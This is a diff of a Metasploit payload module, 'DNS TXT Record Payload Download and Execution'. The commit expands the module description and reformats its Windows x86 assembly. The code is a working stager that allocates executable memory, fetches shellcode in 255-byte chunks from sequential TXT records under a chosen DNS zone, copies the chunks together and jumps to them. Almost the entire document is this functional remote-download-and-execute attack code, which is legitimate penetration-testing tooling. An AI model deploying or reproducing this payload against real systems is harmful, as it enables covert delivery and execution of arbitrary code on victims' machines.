@@ -14,7 +14,13 @@ module MetasploitModule
1414 def initialize ( info = { } )
1515 super ( merge_info ( info ,
1616 'Name' => 'DNS TXT Record Payload Download and Execution' ,
17- 'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload' ,
17+ 'Description' => %q{
18+ Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE
19+ option is used as the base name to iterate over. The payload will first request the TXT contents of the a
20+ hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly
21+ 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using
22+ x86/alpha_mixed with the BufferRegister option set to EDI.
23+ } ,
1824 'Author' =>
1925 [
2026 'corelanc0d3r <peter.ve[at]corelan.be>'
@@ -54,116 +60,116 @@ def initialize(info = {})
5460 # (Example will show a messagebox)
5561 #
5662 # DNS TXT Records :
57- # a.corelan.eu : contains first 255 bytes of the alpha shellcode
58- # b.corelan.eu : contains the next 255 bytes of the alpha shellcode
59- # c.corelan.eu : contains the last 144 bytes of the alpha shellcode
63+ # a.corelan.eu : contains first 255 bytes of the alpha shellcode
64+ # b.corelan.eu : contains the next 255 bytes of the alpha shellcode
65+ # c.corelan.eu : contains the last 144 bytes of the alpha shellcode
6066
6167 def generate ( _opts = { } )
6268
63- dnsname = datastore [ 'DNSZONE' ]
64- wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
65- wTypeOffset = 0x1c
69+ dnsname = datastore [ 'DNSZONE' ]
70+ wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
71+ wTypeOffset = 0x1c
6672
67- queryoptions = 0x248
73+ queryoptions = 0x248
6874 # DNS_QUERY_RETURN_MESSAGE (0x200)
6975 # DNS_QUERY_BYPASS_CACHE (0x08)
7076 # DNS_QUERY_NO_HOSTS_FILE (0x40)
7177 # DNS_QUERY_ONLY_TCP (0x02) <- not used atm
7278
73- bufferreg = "edi"
79+ bufferreg = "edi"
7480
7581 #create actual payload
7682 payload_data = %Q^
77- cld ; clear direction flag
78- call start ; start main routine
83+ cld ; clear direction flag
84+ call start ; start main routine
7985 #{ asm_block_api }
8086 ; actual routine
8187 start:
82- pop ebp ; get ptr to block_api routine
88+ pop ebp ; get ptr to block_api routine
8389
8490 ; first allocate some space in heap to hold payload
8591 alloc_space:
86- xor eax,eax ; clear EAX
87- push 0x40 ; flProtect (RWX)
88- mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
89- push eax ; flAllocationType MEM_COMMIT (0x1000)
90- push eax ; dwSize (0x1000)
91- push 0x0 ; lpAddress
92- push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "VirtualAlloc" ) } ; kernel32.dll!VirtualAlloc
92+ xor eax,eax ; clear EAX
93+ push 0x40 ; flProtect (RWX)
94+ mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
95+ push eax ; flAllocationType MEM_COMMIT (0x1000)
96+ push eax ; dwSize (0x1000)
97+ push 0x0 ; lpAddress
98+ push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "VirtualAlloc" ) }
9399 call ebp
94- push eax ; save pointer on stack, will be used in memcpy
95- mov #{ bufferreg } , eax ; save pointer, to jump to at the end
100+ push eax ; save pointer on stack, will be used in memcpy
101+ mov #{ bufferreg } , eax ; save pointer, to jump to at the end
96102
97103
98- ;load dnsapi.dll
104+ ; load dnsapi.dll
99105 load_dnsapi:
100- xor eax,eax ; put part of string (hex) in eax
106+ xor eax,eax ; put part of string (hex) in eax
101107 mov al,0x70
102108 mov ah,0x69
103- push eax ; Push 'dnsapi' to the stack
104- push 0x61736e64 ; ...
105- push esp ; Push a pointer to the 'dnsapi' string on the stack.
106- push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "LoadLibraryA" ) } ; kernel32.dll!LoadLibraryA
107- call ebp ; LoadLibraryA( "dnsapi" )
109+ push eax ; push 'dnsapi' to the stack
110+ push 0x61736e64 ; ...
111+ push esp ; Push a pointer to the 'dnsapi' string on the stack.
112+ push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "LoadLibraryA" ) }
113+ call ebp ; LoadLibraryA( "dnsapi" )
108114
109115 ;prepare for loop of queries
110- mov bl,0x61 ; first query, start with 'a'
116+ mov bl,0x61 ; first query, start with 'a'
111117
112118 dnsquery:
113- jmp.i8 get_dnsname ; get dnsname
119+ jmp.i8 get_dnsname ; get dnsname
114120
115121 get_dnsname_return:
116- pop eax ; get ptr to dnsname (lpstrName)
117- mov [eax],bl ; patch sequence number in place
118- xchg esi,ebx ; save sequence number
119- push esp ; prepare ppQueryResultsSet
120- pop ebx ; (put ptr to ptr to stack on stack)
122+ pop eax ; get ptr to dnsname (lpstrName)
123+ mov [eax],bl ; patch sequence number in place
124+ xchg esi,ebx ; save sequence number
125+ push esp ; prepare ppQueryResultsSet
126+ pop ebx ; (put ptr to ptr to stack on stack)
121127 sub ebx,4
122128 push ebx
123- push 0x0 ; pReserved
124- push ebx ; ppQueryResultsSet
125- push 0x0 ; pExtra
126- push #{ queryoptions } ; Options
127- push #{ wType } ; wType
128- push eax ; lpstrName
129- push #{ Rex ::Text . block_api_hash ( "dnsapi.dll" , "DnsQuery_A" ) } ; dnsapi.dll!DnsQuery_A
130- call ebp ;
131- test eax, eax ; query ok ?
132- jnz jump_to_payload ; no, jump to payload
133- jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
129+ push 0x0 ; pReserved
130+ push ebx ; ppQueryResultsSet
131+ push 0x0 ; pExtra
132+ push #{ queryoptions } ; Options
133+ push #{ wType } ; wType
134+ push eax ; lpstrName
135+ push #{ Rex ::Text . block_api_hash ( "dnsapi.dll" , "DnsQuery_A" ) }
136+ call ebp ;
137+ test eax, eax ; query ok?
138+ jnz jump_to_payload ; no, jump to payload
139+ jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
134140
135141 get_dnsname:
136142 call get_dnsname_return
137143 db "a.#{ dnsname } ", 0x00
138144
139145 get_query_result:
140- xchg #{ bufferreg } ,edx ; save start of heap
141- pop #{ bufferreg } ; heap structure containing DNS results
142- mov eax,[#{ bufferreg } +0x18] ; check if value at offset 0x18 is 0x1
143- cmp eax,1
144- jne prepare_payload ; jmp to payload
145- add #{ bufferreg } ,#{ wTypeOffset } ; get ptr to ptr to DNS reply
146+ xchg #{ bufferreg } ,edx ; save start of heap
147+ pop #{ bufferreg } ; heap structure containing DNS results (DNS_TXT_DATAA)
148+ mov eax,[#{ bufferreg } +0x18] ; check the number of strings in the response
149+ cmp eax,1 ; skip if there's not exactly 1 string in the response
150+ jne prepare_payload ; jmp to payload
151+ add #{ bufferreg } ,#{ wTypeOffset } ; get ptr to ptr to DNS reply
146152 mov #{ bufferreg } ,[#{ bufferreg } ] ; get ptr to DNS reply
147153
148154 copy_piece_to_heap:
149- xchg ebx,esi ; save counter
150- mov esi,edi ; set source
151- mov edi,[esp+0x8] ; retrieve heap destination for memcpy
152- xor ecx,ecx ; clear ecx
153- mov cl,0xff ; always copy 255 bytes, no matter what
154- rep movsb ; copy from ESI to EDI
155- push edi ; save target for next copy
156- push edi ; 2 more times to make sure it's at esp+8
157- push edi ;
158- inc ebx ; increment sequence
159- xchg #{ bufferreg } ,edx ; restore start of heap
160- jmp.i8 dnsquery ; try to get the next piece, if any
155+ xchg ebx,esi ; save counter
156+ mov esi,edi ; set source
157+ mov edi,[esp+0x8] ; retrieve heap destination for memcpy
158+ xor ecx,ecx ; clear ecx
159+ mov cl,0xff ; always copy 255 bytes, no matter what
160+ rep movsb ; copy from ESI to EDI
161+ push edi ; save target for next copy
162+ push edi ; 2 more times to make sure it's at esp+8
163+ push edi ;
164+ inc ebx ; increment sequence
165+ xchg #{ bufferreg } ,edx ; restore start of heap
166+ jmp.i8 dnsquery ; try to get the next piece, if any
161167
162168 prepare_payload:
163169 mov #{ bufferreg } ,edx
164170
165171 jump_to_payload:
166- jmp #{ bufferreg } ; jump to it
172+ jmp #{ bufferreg } ; jump to it
167173^
168174 self . assembly = payload_data
169175 super
0 commit comments